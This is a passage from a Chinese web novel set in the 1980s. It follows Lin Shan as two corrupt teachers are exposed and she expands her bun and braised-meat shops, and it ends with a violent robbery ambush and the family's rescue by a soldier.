“啊——！”她痛哭失声，指着林珊大骂：“我差点儿被这个小贱人害死！你们不是赶紧把她绑起来送公安局，反而围着我们，污蔑我跟李校长！太过分了！实在太过分了！啊——” 骂完，吼完，邢艳红又昏死了过去。 围观的都知道这回是假晕，不但眼皮乱颤，昏得还特别僵硬。林珊有点儿想笑，没想到今天还有意外收获。 邢艳红又“昏”了过去，所有的对峙都暂停下来。李向前这次倒是没再冲上去，而是指派了好几个女老师，硬生生把邢艳红，给抬到了学校那个简陋的医务室。 女老师们抬得心不甘情不愿，一路上可没少磕碰，撞得假晕中的邢艳红差点儿跳起来自己走。好在学校不大，医务室很快就到了。 邢艳红躺在小床上装死，不管在医务室值班的老大爷怎么说她没事儿，她人就是死赖着不醒。 “让邢老师好好歇一会儿吧，大家该干什么干什么去。今天这事儿是误会引起的，说开就行了，大家千万不要出去乱传些有的没的，破坏学校声誉对谁都不好！”李向前装模作样地驱散完老师，扭头就板起脸批评林珊：“你这个小姑娘也真是的！以后看清了再说！你看你把人家邢老师打得！真要有个三长两短，公安能饶了你吗？到时候别说考大学，脑袋都得掉！知不知道？！” 林珊沉默不语，看着他放屁。 呦呵，李向前气得胸口疼，居然还敢不服？！老师的本能让他想立刻教训林珊一顿，但现在最关键的是赶紧让所有人离开。所以他忍了又忍，只恶狠狠地说了句“冥顽不灵”，就挥手打发她走了。 林珊知道后续会有黄月萍处理，所以看了眼黄老师后，出了医务室。 黄月萍没空看里面演戏，没半分钟也出来了，一看林珊在旗杆下等着，就知道她有话说。 “老师，邢老师这回的事儿……应该挺严重吧？”林珊人都打了，就没再演什么天真无邪的小白花。 黄月萍拍着她的肩膀说：“放心，这两个蛀虫不仅会被开除出教师队伍，还会被所有认识和不认识人的唾弃。” 邢艳红和李向前的爱人可都不是善茬，就这还敢胡搞到一块儿，可见就没有俩人不敢做的，弄不好再往下深挖，还会有别的什么更大的事儿。 想到这儿，黄月萍突然凑过去小声对林珊说：“打得好，就该让她尝尝这滋味。” 林珊愣了一下，笑了，“谢谢老师，您辛苦了。” 黄月萍摆摆手，让她赶紧回去做卷子去。 一个礼拜后，林珊知道了这两人的处理结果。 邢艳红常年殴打辱骂学生，向学生索要财物，并且乱搞男女关系被学校撤去教师职务，移交公安机关。李向前亏空公款，收受贿赂，以权谋私，乱搞男女关系，同样被送去法办。 教育局点名批评，城西高中所辐射的区域里，所有人都在怒骂和唾弃这两个败类。不过，最丢人的，还不是这个。 这两人没被抓到公安局之前，被各自的另一半，赤条儿拴在门口吊打的场面，那才叫人震撼。 比旧社会狗男女浸猪笼的方式更为惨烈，街坊邻居全在围观，邢艳红和李向前被打得嗷嗷乱叫，直呼再也不敢了。 林珊听得目瞪口呆，这年头处理出轨的方式还真是生猛。 不过谁让他们自作孽不可活呢，堂堂正正的人不做，非要干些下三滥的勾当。教师队伍里少了这两个毒瘤是好事。曾经被邢艳红伤害过的孩子们，应该也能有所安慰吧。 因为还要开设两家店，林珊这几天基本都在找店面，晚上回到家还得跟林红一块儿实验卤素菜。 方子还是卤肉的方子，不过为了找出最佳的口感，还是要把所有食材都卤一遍才能得出结论。而且为了不让素菜影响肉的口味，要单独把卤肉的汤盛出来单卤素菜才行，不然口味过杂，反而会没了卤肉原本的特色。 辣口味的那个，林珊想做成麻辣，但因为这个时候安河还没有卖麻椒的，只能用花椒粉代替，没成想做出来的麻辣口儿，竟然别有一番滋味。 卤菜搞定，馄饨就更容易了，虾米紫菜香菜香油一放，爱吃酸的点上几滴醋，爱吃辣的再放上她家的特质油辣子，那味道别提多美了。 餐品完成得差不多之后，城东的店铺也定下来了。 因为这回想找两家紧挨着的铺子，所以多废了一些时间，托人际关系庞大的郭有财爷爷的福，两间铺子最终以五十块每月的价格到手。 因为城东地理位置好，店面又紧挨着安河最繁华的商业街，所以比别的地方贵了一些，但是相比起周围其他铺子，还是便宜了不少。 林珊请了郭有财一顿大餐。 郭有财嘴刁，非常挑剔，边吃边嫌人家饭店的菜不好吃，“这鱼刺儿真多！” 林珊笑了，刺儿多也能怪人家饭店。 郭有财：“还没你家做的好吃，你要是开饭店，一定能干过这儿。” 林珊笑着摇头：“饭店更累，还得请大厨。一个伺候不周，就会被人家拿捏。”自古饭店开得好的，就没有老板不舔大厨的。不然人家一个撂挑子，爷不干了。饭店瞬间全完。 郭有财：“自己做啊，你们又不是不会做，现在也不是没钱，来城东开个高档饭店，赚得不比小铺子多？” 林珊解释道：“我不想把我姐和我妈绑在厨房，我自己事儿也多，不可能一直守着饭店。” 郭有财倒是知道林珊正在复读的事儿，心想这丫头心气儿是真高，又是开这么多铺子，又是忙着考大学的，他家郭峰很明显就罩不住人家。不过他倒是更好奇了，究竟是什么样的男同志，才能驾驭得了这丫头？ “诶，你那对象叫什么来着？怎么也不见他过来看看你？”郭有财纳闷，前阵子出了林富贵那么大的事儿，那对象也不过来看看？ 这小丫头该不会是在懵他吧？ 第51章 第51章 城东开店 “咳咳咳——” 林珊被这突如其来的问题, 给呛得差点儿断气。狠狠咳了一阵，又猛灌上两口水才活了过来。 这正说着开饭店的事儿，怎么突然扯到对象身上了, 真是杀得她一个措手不及。幸好她早就给自己安排了一个以贺领导为原型的虚拟男友，不然还真给问住了。 “他在部队, 不能随便过来。”林珊镇定地胡咧咧。 郭有财眯眼，“林富贵这么大的事儿, 他都没请个假过来看看你？这也太不像话了。你之前说他在哪儿当兵来着？” 林珊瞅老爷子这表情，就知道他开始怀疑了, 她立刻笑着反问：“怎么啦, 您还怀疑他是假的啊？” 郭有财没吭声，表情就是那个意思。 林珊轻声解释道：“他年后没多久就出任务了, 一直到前段时间才回来。我怕他担心所以没说, 他们任务那么危险, 我不想让他分心。而且我们俩的关系毕竟还没有过到明面上，就算他来安河, 也不好意思大摇大摆跑店里去找我的。” 郭有财观察着林珊的表情, 看不出什么所以然, 她说的话倒是也在理，难道是自己多心了？ 郭有财砸吧了一下嘴，“行吧，没懵我就行，我还以为你是看不上我家郭峰, 所以故意编了个人糊弄我呢。” 林珊立刻猛摇头, 心里有点虚，嘴上却还得挺着，“怎么可能呢, 郭峰那么优秀，真论起来的话，是我高攀了。他以后肯定能找到一个特别好的姑娘！” 郭有财才不想听她说什么高攀不高攀的话，“吃饭吃饭。”反正没让林珊做成自家孙媳妇，他很 是不开心。这么好的大闺女，竟然已经被人提前抢走了，而且他还不知道是谁！ “下回那小子来的时候，带他来见见我，我给你把把关。你们这些小丫头啊，看男的不准的。” “好。”林珊笑着应了。真心希望郭有财能把这事儿给忘了，不然她总得瞎编。 真是对不住贺领导了，这次又是他给了灵感，下回一定得再多寄些好吃的过去。 找好店铺之后，接下来的就是装修。徐大爷熟门熟路，带领着徒弟们很快就开干起来。 这回因为一间是熟肉铺，一间是包子铺，所以装修风格略有差别，不过大体还是跟之前一样以纯白色为主。 之前培训好的六个服务员，两个留在老铺子，一个留在城南的铺子，剩下的三人都在新店。这样人手明显还是不够的，不过因为他们已经上手，林珊再招过来的这些新人，就可以跟着他们边做边学了。 林红和赵桂花彻底从旧铺子里出来了，林珊决定让薛凤琴暂时主管这边的事情。 薛凤琴是既激动，又怕自己干不好。 林珊给她吃定心丸，“我姐跟我妈就在家里，遇到解决不了的事儿直接过来找人就行。再说了，你的表现我们大家都看在眼里，肯定没问题的。” 薛凤琴做事踏实心细，又有冲拼劲儿。林珊很欣赏她，打算先培养成店长，以后要是干得好，还会再进一步提升。 薛凤琴红了眼眶，紧握住林珊的手，不知道说什么好，千言万语化成一句：“我一定好好干！绝对不辜负珊老板！” “我也是！”李娜不知道为啥，比薛凤琴还激动，又开始立正站好敬礼了。 “你干啥？”林珊笑了。 李娜憨憨地笑，“我替风琴姐高兴！” 大家顿时都乐了，林珊拍拍她的脑袋，“来，我跟你说个事儿。” 李娜紧跟着她来到外头，“啥事儿啊姐。” “你想当店长不？”林珊笑着问她。 李娜摇头，“我喜欢自己的活儿，我不知道咋当店长，我就知道咋当领班。” 林珊揽住她厚实的肩膀头子，笑着说：“那好，以后新来的服务员，都由你来检查她们干得好不好，可以吗？” “可以！”李娜激动地又开始立正站好敬礼。 林珊无奈地乐了，这一惊一乍的，还挺有特色。 这丫头无论是洗碗擦桌子切菜，还是归置摆放其他物件，都是所有人里干得最标准的。她想不到额外的事儿，但是只要你交代给她的，她就全都记得，执行起来半点儿折扣都不打。 林珊决定以后开启加盟业务之后，由这小丫头负责店内员工的规范指导。 之前只有城南一个分店，熟肉都是林珊娘仨在家把肉卤好之后，再送到店里的，包子虽然是在城南店里做的，但是调馅儿是林珊负责的，王芬试了几次，到现在都还是差些味道，所以只能她去把关。 以前店少能顾上，但是现在城东又开了一家店，过阵子城北也要开设新店，到时候肯定就忙不过来了。而且她以后要走的是加盟路线，总不能为了保住食谱什么都她们自己配送，那效率就太低了，也成不了规模。 所以林珊决定优化全店流程。 熟肉今后每个店自己负责卤制，林红提供卤水和技术指导，包子同样也是如此，大料会磨成粉，秘制葱油会调好直接送到店里，其余的都由各店自己负责制作。 这样既能保证秘方不外泄，又能提高效率。服务员方面要进行细分，后厨的必须会包十八个褶。 专业化模式化正式启动，城东这家店说是一家店，其实是两个铺子，而且是全新的运营系统，所以干起来跟以前有很大的不同。 老铺子们当然也要跟着改革，所以一时间“爱国大肉包”的所有人都更加忙碌了。 林珊除了每天跑店，最重要的活儿就是招贤纳士。 好在自家铺子现在也算有些名气，多得是过来应聘的。认识的不认识的，都托人来说情。林珊头一次体会到人情债的压力。 不过压力归压力，不合适的，她还是会再第一时间劝退对方。 服务员好找，店长难寻啊。 城东的铺子装修都快搞定了，她还是没找到合适的人选。夜里正坐老铺子里叹气呢，王军突然提了一嘴，“我有个表姐，她挺能干的，自己卖过水果，后来婆婆身体不好才不干了，前一阵儿老人没了，她应该也能闲下来了。” 林珊眼睛一亮，随即又有点犹豫，“人家会不会不愿意来吧，毕竟自己干过买卖。” 王军说：“我待会儿拐她家问一声儿去，不过我觉得她肯定愿意，你家给得钱又不少，她一个人累死累活的也没见挣多少。” 果然，王军夜里一问，徐娟就很高兴得睡不着觉了。 她正愁干点儿什么好呢，本来还能做点儿小买卖，这两年婆婆把家里熬得一干二净，又欠下一屁股债，没有本钱没法儿启动，她也不好意思再去借了。全家就指着她爱人那点儿工资养活，日子着实不好过。 “爱国大肉包”她可太知道了，听说那儿待遇特别好，工资高不说，老板人还特别大方，经常给他们发肉包子！ 徐娟现在不求致富，只希望能慢慢儿把家里欠的外债还清，孩子们能吃上肉就行。 第二天林珊一见到徐娟，心里就暗暗点头了。 徐娟比王军大两岁，今年三十整。不过因为照顾病人劳累，所以看着要稍微年长一些。她三言两语就把自家的情况，和以前卖水果的事儿给说明白了。 林珊看得出她是个利落人，性格也挺活泛，一看就是在家主事儿的那种人。除了这些，也能感觉得出人品不错。 照顾瘫痪在床的婆婆那么久，没有一句怨言，把自己的艰难说得也轻描淡写，看得出是个有韧性的人。再加上又是王军介绍的，人品不行他肯定不会提的。所以林珊当即就拍板让徐娟做城东新店的店长，试用期过后，工资待遇跟赵福一样，八十块钱一个月，干得好有分红。 徐娟知道“爱国大肉包”工资不低，只是没想到能给这么多，她顿时结巴起来，“这、这，那、那就，我会好好儿干的！” 林珊笑着伸出手，“欢迎加入‘爱国大肉包’。” “诶诶！”徐娟赶紧回握住林珊，鼻头有点酸。 她还不知道王军跟林红的事儿，等看见自家表弟突然握住了人家店里姑娘的手，她瞬间傻眼。 双方一通介绍后，徐娟才知道两家居然还有这层关系。那还有啥可说的，她更得好好干了！不然对不起未来弟妹！ 林珊着急用人，当天下午就让徐娟上岗了。之后不但让她在旧店培训着，还一有空就会叫上她去新店熟悉情况。不出三天，徐娟就把业务都搞得清清楚楚了，还跟要留在新店干活的服务员们全都打成了一片。 赵桂花把服务员的围裙和帽子都做了出来，林珊让人把招牌做好挂上，等装修彻底结束，店内外再没有什么需要准备的事情之后，城东新店正式开始营业。 因为这回熟肉和包子分开卖，好多人一看“爱国熟肉”的招牌，一时还有些没弄明白，不过见它跟“大肉包”挨着，招牌上又都是一个人，瞬间明白爱国家这是做大了，熟肉都可以单独开店了。 第一天开业包子照旧买一送一，熟肉则多送一两。 徐娟带着服务员们里里外外忙活着，林珊和林红赵桂花也在一旁搭手帮忙。 熟肉经过林红的指导和把关之后，即使是在店里自己煮的，也完全尝不出区别。素卤更是吸引了大家的眼球，一些老顾客，甚至连林珊提供的试吃都没尝，直接就一样都来了一些，凑了满满当当一盒。包子那边儿也一切照旧，新上的馄饨尤其受欢迎。这会儿进入十二月份了，喝上一碗热乎乎的馄饨别提多美了。 一个大哥笑着说：“你们能把店开到城东可太好了，这小馄饨简直能把大饭店都干倒啊！” “可不，这馄饨比前边那家好吃多了！而且还比他便宜两分钱，以后我就认准你家了！” 林珊笑着谦虚了几句，请大家以后多多捧场。 王军照旧带着局里的兄弟们过来捧场，一个个都穿着制服，主要是想让周围的人知道，这家店是有人照看的，谁都别想动歪主意。 然而，生意这么红火，怎么可能不被人盯上呢。 第52章 第52章 危险靠近 城东的新店大获成功, 熟肉和包子分开之后不但没有影响生意，反而越来越旺。不到两周时间，新店的营业额就已经抵过老铺子一个月了。 城南和城东两家新店的生意一天比一天好, 林珊决定乘胜追击，立即启动城北开设铺子的计划。 城北跟城东地界都非常好, 门店自然也不便宜。郭有财知道她又要再开一家店的时候，是彻底没话说了。行吧, 能折腾就折腾吧，怎么都是挣钱。 托郭爷爷的福, 新铺子四十九块一个月拿下。装修再次交给了徐大爷和他的徒弟们。因为所有的东西都是熟门熟路的, 所以城北店的进展得非常之快。 服务员方面，林珊也一直都有在提前招人并培训着, 唯一需要费点儿功夫的, 还是店长的人选。 选了两天, 面试了十来位之后，林珊决定用有国营饭店工作经验的李春刚。 李春刚三十九岁, 之前在城北国营饭店当副手, 不过由于跟经理不对付, 整天过得无比憋屈，前阵子终于忍不住跟经理大打了一架之后，直接不干了。 林珊托人打听了一番之后，发现确实是那经理过分，李春刚在饭店风评很不错, 所以她就直接录用了。 试用期一个月, 待遇跟其他店长一样。 李春刚很满意薪资，他在国营饭店的工资是82块钱一个月，可是那儿没分红, 而且天天憋屈得要死，还不如在这儿痛快。 他也早打听过了，“爱国大肉包”虽然是个体户铺子，生意可是数一数二的。他之前从城东路过的时候，人都惊呆了。卖个包子和熟肉竟然能吸引这么些人。 在知道老板还是个小姑娘之后，他就更佩服了。小小年纪就能弄成这么大的摊子，这以后还得了啊。 林珊安排李春刚去城东新店先培训着，徐娟负责带他。 李春刚两天下来就上手了，同时心里忍不住感叹，年轻人脑子就是好啊。这流程真顺当啊，管理得可真严，连筷子怎么摆都有要求。卫生做得也比饭店强多了。一个个的都有制服，虽然只是个围裙，但是打眼看过去是真规整。 李春刚本来就没有那种“我在国营饭店干过”的骄傲，所以对店内的一切规章制度，接受起来都非常之快，培训了几天之后，他已经迫不及待想去城北店大显身手了。 新店一切准备就绪，林珊选了个好日子正式开业。 噼里啪啦鞭炮一放，人乌央乌央地往店里挤。 李春刚虽然早有准备，却还是被这么些人给惊到了。他兴奋地带着服务员们忙里忙外，林珊娘仨也在前后帮忙。王军每次都会带人来捧场，这回当然也不例外。 他那些兄弟们忍不住开玩笑：“这可真够速度的，照这么下去，安河到处都是‘爱国大肉包’了！” “多开点儿好啊，到时候咱们可就有口福了！” “可不嘛，‘爱国家’的饭真是没的说，怎么什么都能做这么好吃呢？！” “是啊，军哥，以后你可有口福咯。” 王军笑着让那个小年轻别废话赶紧吃，心里却是乐开了花。林红娘仨发展得好，他真得很替她们感到高兴，高兴中还掺杂一些骄傲。 他家林红做饭就是好吃！ 城北店也开起来之后，林珊又优化了一下配送流程。 以前赵福负责给她送粮食蔬菜，肉她自己会跑去拿，但是现在四个店，每天的量都特别大，所以林珊决定招上两个送货工，负责每天给各个店配送。 赵福在去城南店干活之前，把大河村的那摊子都交代给赵大强和他好兄弟铁牛了，林珊去了一趟大河村，让他们继续加大蔬菜和粮食的供给，价钱也随市涨了几分。 有钱大家一起赚，人才能更有动力。 林珊回去之后看见赵桂花在撕台历，发现不知不觉竟然又快要过年了。 时间过得可真快，转眼在这个世界她都要二十岁了。 这一年发展得很好，所有的规划都在她的预料之内。开年之后她打算对整个安河市进行疯狂宣发，同时正式开启加盟业务。不过现在还不着急，开开心心准备过大年是第一位的。 今年的年货肯定比去年复杂，除了自家和王家还有郭有财家要用的，还要准备给员工的粮油福利。林珊在屋里写写画画，计算着出项。 现在四个铺子合在一起，抛出一切开支，每个月纯利润能做到一千五百多块。就这城北店还没开始正式发力，等所有店都运营稳定之后，利润还会再上涨。 林珊看着存折上的数字，满满的心安。无论在哪个时代，钱都是人的底气。不然就算气节再高，也不得不为了五斗米折腰啊。 林珊前一阵给家里买了辆三轮车，没招送货工之前，林红在家做好的大料粉、卤汁和葱油，要她们自己送到店里，没有三轮车实在不行。 现在找了送货工，三轮车紧缺，家里这辆就也给师傅们用了。 林珊家里一共两辆半旧的自行车，有时候三人三个方向，还是有些不方便，她索性就再买了一辆回来。家里煤球和煤块，她也都堆得满满的。新房子保暖性虽然比旧房子强很多，但是架不住地方大啊，火如果不烧旺一点儿，起夜的时候还是会冷。 办完了这些，又给各个店的员工安排好年货之后，林珊直接拉着林红和赵桂花去了百货大楼。 去年没钱买新衣服，今年说什么也要给她们一人置办上一身儿漂亮衣服穿穿。 安河市的百货大楼在城中心的大街上，平时人可能不算特别多，但到年底了里头也是乌央乌央的。 林珊给林红挑了件暗红色的妮子大衣，和一双黑色高跟皮鞋。给赵桂花选了一身儿棕色妮子套装，同样是黑皮鞋。 她自己也买了件跟林红同款的墨绿色妮子大衣，黑皮鞋也是同款。实在不是故意要姐妹花穿一样的，纯粹是这满屋子符合她审美的衣服太少了，就这几件还简单大方一些，别的太花里胡哨了。 娘仨一通买下来，整整花了七百多块。赵桂花捂着口袋心疼的哟，这得卖多少包子啊。她本来觉得狠狠心三百块钱就够一人一身儿好衣服了，结果这丫头上来就挑最贵的！ 林珊解释给她听：“开年之后咱准备搞加盟，必须开始注意仪表了，可不能再像以前那样随便穿点儿什么就行了。人靠衣装马靠鞍，咱们代表的是‘爱国大肉包’的形象。” 赵桂花道理都懂，就是一下子花这么多出去，她肉疼得厉害啊，不过说起加盟，她还是有点儿担心：“珊，你说的这个加盟，行不行啊，真有人会愿意给咱那么多钱，然后卖咱家包子吗？” 林珊之前已经简单把加盟的模式，讲给赵桂花和林红听了，这种商业逻辑虽然简单，但是毕竟这年头还没人搞过，讲太多遍，不如到时候看具体操作。而且她还没开始干，也不知道具体效果，话就不好说得太满，“我有分寸的，试试嘛，咱又损失不了什么。” 赵桂花仔细想想也是，索性就不再费那脑子了。 要说这钱真的是花在哪儿，哪儿好啊，看看人家这衣服料子，就是不一样，穿在身上那叫一个板正，服务员都夸她漂亮呢。 这么一把年纪，居然还能被人夸好看，赵桂花面儿上笑着否认，心里早乐开了花。 母女三人提着大包小包走出商店，林珊见俩人都格外高兴，桂花女士都哼起歌了，心里暗笑这女人就是女人啊，有谁会不喜欢穿漂亮衣服呢？ 再攒几个月的钱之后，林珊决定去趟粤城。三件衣服七百多 ，足足抵上普通人一年的工资了。要价高还这么多人买，可见服装市场的潜力有多大。果然想挣大钱还是得去南方啊。 娘仨难得出来逛街，吃吃喝喝一路，又买了些零碎的小东西，一直逛到天黑才往家走。 临近年关，外头还有不少行人，路灯也都开着，一点都不会给人有危险的感觉。 林珊母女三人一人一辆自行车往家骑着，聊得热火朝天，压根儿没发现身后两个大汉正骑着车慢慢靠近她们。 八十年代后期到九十年代初，是很多大案要案的高发期。 那是一个混乱的时代，充满了机遇也充满了风险。尤其在一些南方大城市，打架抢地盘这种都已经不叫事儿了，黑恶势力盘踞在各个地方，只有能来钱，就没有人家不敢干的。不然也不会数次严打。 “爱国大肉包”这么红火，在安河一开就是四家店。有谁不好奇背后老板是谁，要是打听出来不好欺负，一般人也就歇了各种想法。 但如果打听出来就是三个孤儿寡母开的，最厉害的关系还只是个小刑警，那“爱国大肉包”必定会成为一块儿待宰的羔羊。 城东一霸，张志刚和张志强两兄弟，就盯上了“爱国大肉包”。 前阵子严打，他们很多兄弟折进去了。俩人平时靠替别人平事儿挣钱，这风头一紧，自然也就影响到生意了。底下那么多口子要养活，兄弟俩又都好赌。 口袋一空，就有了亡命徒的潜质，无论如何都要搞到钱。 兄弟俩自觉以前那些都是小打小闹，这回一定要干票大的，反正无论大小抓着了都得完蛋，那干嘛不干脆多抢点儿，一票就干他个吃喝不愁。 就算将来倒霉被抓了，那做鬼也值了。 第53章 第53章 猖狂的歹徒 城中心距离城西不远不近, 骑车十来分钟就到了。途中要经过一片桦树林，那边儿的路灯又坏了挺长时间的，所以整个区域都是漆黑一片。 张志刚两兄弟盯梢盯了大半个月, 可算是逮着这娘仨路过这片林子了。本来想着如果她们今天再不走这儿，哥几个就得换方案了, 没想到这就给送上门了！ 张志刚计划先绑了林珊娘仨，然后严刑拷打逼问她们拿钱出来。不拿钱他就捅掉一个人, 要是还不拿，那就再捅掉一个, 反正一共三个娘们呢, 一个一个捅，看着的那个还不得被吓死啊, 肯定乖乖的就把钱吐出来了。 听说她家管事儿的是那个叫林珊的丫头, 甭管她有多机灵能干, 当着她的面儿一刀一刀地捅她老娘和亲姐，还怕她会不拿钱吗？等钱一到手, 再把那丫头也弄死, 这事儿还有谁能知道？尸体都埋进他二叔干活的牛厂, 到时候就是天王老子来了也破不了案。 张志刚为人阴狠，张志强武力值强，这种大事儿不能跟手下的小弟们说，只能带上最亲信的人。 他们兄弟俩负责一路尾随，两个心腹干将负责在小树林旁边埋伏, 三轮车和麻袋也早已经准备好了, 只要那娘仨从这儿路过，一定轻轻松松被拿下，到时候再把仨人拖进林子敲晕装袋, 这事儿就干成了。 林珊直到拐进路口，才发觉后头这俩人骑得有些近。这个路段没人，路灯还不亮，今天天气也不好，晚上看不见月亮，到处都是黑漆漆的，桦树林那片儿绝对是个危险地带，这要是被人掳走了，可不是开玩笑的。 所以她悄悄让赵桂花和林红都蹬快了脚步，想试试对方是不是逮人。 果然，她们三个才刚加速，后面那两个男的就紧跟了上来。林珊心里咯噔一下，知道大事不妙。她立刻示意赵桂花和林红拼命加速，并且迅速分散开来，挤在一块儿容易团灭，分开还有机会拆散歹徒，两个对三个，至少有一个能跑去叫人。 林珊拼命踩着脚蹬子，迅速摸起车座底下藏着的剪刀，放声大喊：“救命！有人抢劫了！救命！救命啊！” 郭志刚兄弟俩被她喊得头发梢儿都竖起来了，一把带上早准备好的面罩，飞速朝母女三人猛扑。埋伏在树林里的两个帮凶也一跃而出，分别一把抓住赵桂花和林红，开始疯狂往路边拖拽。 林珊暗叫不好，竟然还有两个歹徒！ 赵桂花拼命大叫抵抗，被歹毒一拳捶在了胸口，就这她仍旧不顾疼痛，死死抱着那人的大腿，不让他得逞。林红吓得尖叫乱踹，拼命喊着救命，眼泪鼻涕满脸都是，眼看就要被拖进树林。 林珊一剪刀刺向朝自己伸手的歹徒，瞬间拉了对方虎口一个大口子，那歹徒斯哈痛骂。林珊一边躲，一边飞奔去救林红，嘴里还拼命喊着救命救火！所有能救的她都喊。不远处就是民房，她声音再大点儿，绝对能把人叫来。 然而这回的歹徒，明显比杜仨儿那几个手下有经验，没一会儿功夫，林珊她们就渐渐招架不住了，其中一个亮出匕首架在赵桂花脖子上，闷着声儿骂道：“再喊把你宰了，老实把闭嘴上！哥几个只要钱不要命！” 林珊知道他话是这么说，打算干的一定不是这么回事儿。路上尾随她们的这两个歹徒虽然带着面罩，林子里冒出来的那两个可什么都没带，说明这些畜生根本不是怕被她们认出来，而是担心被路过的人看见。 他们原本的打算应该是戴面罩的那俩动手，林子的那俩负责快速把人拖走。 完全不怕她们认出来，就只有一个可能，这帮人是既要钱又要命。 林珊疯狂大喊，手里的剪刀更加拼命地朝对方的要害刺去。反正都是要死，死在路边还有人来收尸，真被掳走那就彻底销声匿迹了，臭哪儿都没人知道。 赵桂花见闺女喊得更大声，瞬间也明白过来这些人是要谋财害命，她不顾脖子上的刀，愣是死死抱住逮人的腿不放手。 林红力气比她们小点儿，尽管被歹徒拖了一段距离，仍然在死命反抗尖叫，一个无意间踹中对方的脸，立刻遭来肘击，她又疼又晕，却不忘借这个机会，一口咬住对方的胳膊，疼得那歹徒嘶哈乱叫。 负责绑林珊的是张志刚和张志强两兄弟，张志强被林珊划破了虎口，张志刚也被她踢到了小腿干，受伤的两兄弟出奇愤怒，直接掏出匕首，开始朝林珊身上乱刺。 饶是林珊天生力气再大，也抵不过两个大汉，没一会儿胳膊上的血就渗透了棉袄。 张志强一步步朝她逼近，嘴里怒骂道：“臭婊子再反抗，我直接要了你的小命儿！” 张志刚也从后头步步紧逼，伸出胳膊要从后勒住林珊。 林珊在后世的时候虽然学过一些防身术，但在绝对的力量面前，这些都是虚的。既然无论如何都要死，那她也不能让对方好过了，于是她在两人就要抓上来的一瞬间，猛得往地上一蹲，与此同时剪刀迅速出击，又快又猛地扎向张志刚的子孙袋。 张志刚嚎叫倒地，抱着后代们疼得来回打滚。 张志强一看大哥受了这么重的伤，瞬间怒火攻心，抄起匕首就猛刺林珊。 林珊胳膊挡了一刀，后背也挡了一刀，整个人被张志强按倒在地，匕首直冲胸口，就在她以为今天要交代在这儿的时候，一声“都给我住手！”响彻桦树林。 这声音好像在哪儿听过，林珊下意识朝声源望去，张志强也准备看看，到底是哪个多管闲事的，敢坏他的是好事儿，结果他才刚一扭头，一只脚就飞到了他脸上，紧接着一记暴踢，他整个人瞬间被踹翻倒地。 林珊揉揉眼，发现来的不是别人，正是贺正岩。天太黑看不太清楚，但是救命恩人的模样，她是绝对不会认错的。 张志强摔懵了一瞬，跟着立刻抄起匕首朝贺正岩进攻。 其他两个一见这阵仗，也顾不得彼此手里的人质，全都攥着匕首跑来帮忙，除了蜷缩在地上哀嚎的张志刚，三把 匕首齐刷刷地朝向贺正岩。 贺正岩身强体壮，武力值高，但是再怎么强悍，面对三个持刀歹徒的时候，他也做不到毫发无伤。尤其事情发展到了这个地步，三个歹徒都明白这会儿不是你死就是我亡。亡命徒的疯狂，不可小觑。 林珊赶紧趁机检查了一下赵桂花和林红，确定没什么大碍之后，让她俩快去报公安叫人。 赵桂花和林红怕她留下来有危险，怎么也不肯走，被林珊怒斥了一顿之后，才含着泪飞奔去叫人。 林珊这会儿虽然虚，但没到不能动弹的地步，她抄起抱蛋倒地的张志刚，散落在地上的匕首，趁乱递给贺正岩，自己也拿起剪刀在一旁帮忙刺人。 拿到刀的贺正岩不再被动，熟练得左划一刀又刺一下，三个歹徒的身上很快就开始洇血。其中一个歹徒一看形势不妙，他们三个人都拿不下这多管闲事的臭兵，他立刻后退两步，拿着刀朝林珊猛扎。 林珊正拿着剪刀刺张志强的后背，等察觉到危险的时候已经有些迟了，眼看匕首要扎进肚子，她整个人突然被猛得一拽，堪堪躲过刀尖。 贺正岩迅速把她拉到身后，挥刀划伤了那个歹毒。张志强得到喘息的机会，立刻从左边猛刺过来，另一个歹徒也配合着他从右侧进攻。 贺正岩挡了右边那下，左边张志强的刀却扎扎实实捅进了他的腹部。 张志强见状，刚要得意地开骂，脸色却突然骤变，他缓缓地侧过身，低下头，只见自己左肋骨下面最软的地方，插着一把剪刀。 插他的人，手还握在剪刀上，一双眼睛正冷冷地盯着他，跟着那只手突然一个翻转，肚子里的剪刀竟直接换了个方向。 张志强瞬间疼出一身冷汗，连叫都叫不出来了，他像是被人开了膛，抽了血，直溜溜地就秃噜到了地上。满脸写着不可思议，像是在说怎么会是你个小丫头片子。 剩下的两个歹徒一见张志强倒下，急得立刻就上来拼命，可惜已经来不及了，城西派出所的公安同志一声怒吼，宣告他们这票大的结束了。 王军带着市局的人随后赶到，在看清楚现场所有人的惨状之后，他倒吸口气，后怕得险些虚脱。林红和赵桂花被送往医院救治，现场的林珊浑身是血，脸色惨白，她努力搀扶着的那位军人同志正流血不止，眼看就要陷入昏迷之中。 这要是再稍微晚来一步，后果绝对不堪设想。 这帮歹徒实在是胆大包天！必须一刀刀剐了！ 贺正岩和林珊被紧急送往医院，四个歹徒通通被收押。由于其中两个嫌犯伤势过重，王军还得把他们送医院先去救命。即便他想百般不情愿，也得听上头的命令。 不过冷静下来想想，先救上来也好，就这么死了反而便宜这帮畜生了。犯下这么大的罪，判死刑是肯定的，在死之前交到他手里好好审审，也是他们自己修来的造化。 第54章 第54章 送去就医 林珊是被疼醒的。 一睁眼, 就看见护士大姐正在给自己扎针输液。这会儿身体里的肾上腺素已经退了，她浑身上下就没有一个地方不疼的，不上消炎药和止疼药, 估计晚上是别想好过了。 刚才在救护车上的时候因为担心贺正岩的伤势，她没觉得自己情况有多严重, 结果前脚才刚把他送进急救室，人就眼前一黑, 昏倒了。 护士大姐见她醒了，立刻安抚道：“没事儿了, 安全了, 你是流血虚得晕倒了，不要担心啊, 现在我在给你消炎。” “谢谢——” “姗姗！”刚从外头进来的林红立刻冲过来, 激动地瞬间落泪：“醒了就好！醒了就好！” 林珊见她这会儿鼻青脸肿, 比被张强的时候还惨，怒气不由得又起来了, 恨不得再爬起来多捅那帮畜生几刀, “你怎么样？妈呢？” “我没事儿, 妈也没事儿，她在手术室门口等着贺领导做手术。”林红说着想握住林珊的另一只手安慰她，可那只胳膊上也被刀划伤了，伤口虽然已经被处理过了，但看着还是很吓人, 她忍不住痛哭起来, 这要是贺领导再晚一点儿来，公安同志再晚一点儿，她们可就全没命了！ 贺领导被捅得到现在还没出手术室呢！那帮坏人实在太可恨了！ “还没做完吗？”林珊担心贺正岩出事。她自己身上虽然挨了几刀, 但好在大冬天身上的棉袄厚实，刀子划到肉的时候，并没有多深，基本都是些皮外伤。贺正岩就不一样了，他被扎的那一刀，可是实打实捅进腹里的。 人家是见义勇为，要是有什么意外的话，她真得不知道该怎么面对自己的良心。 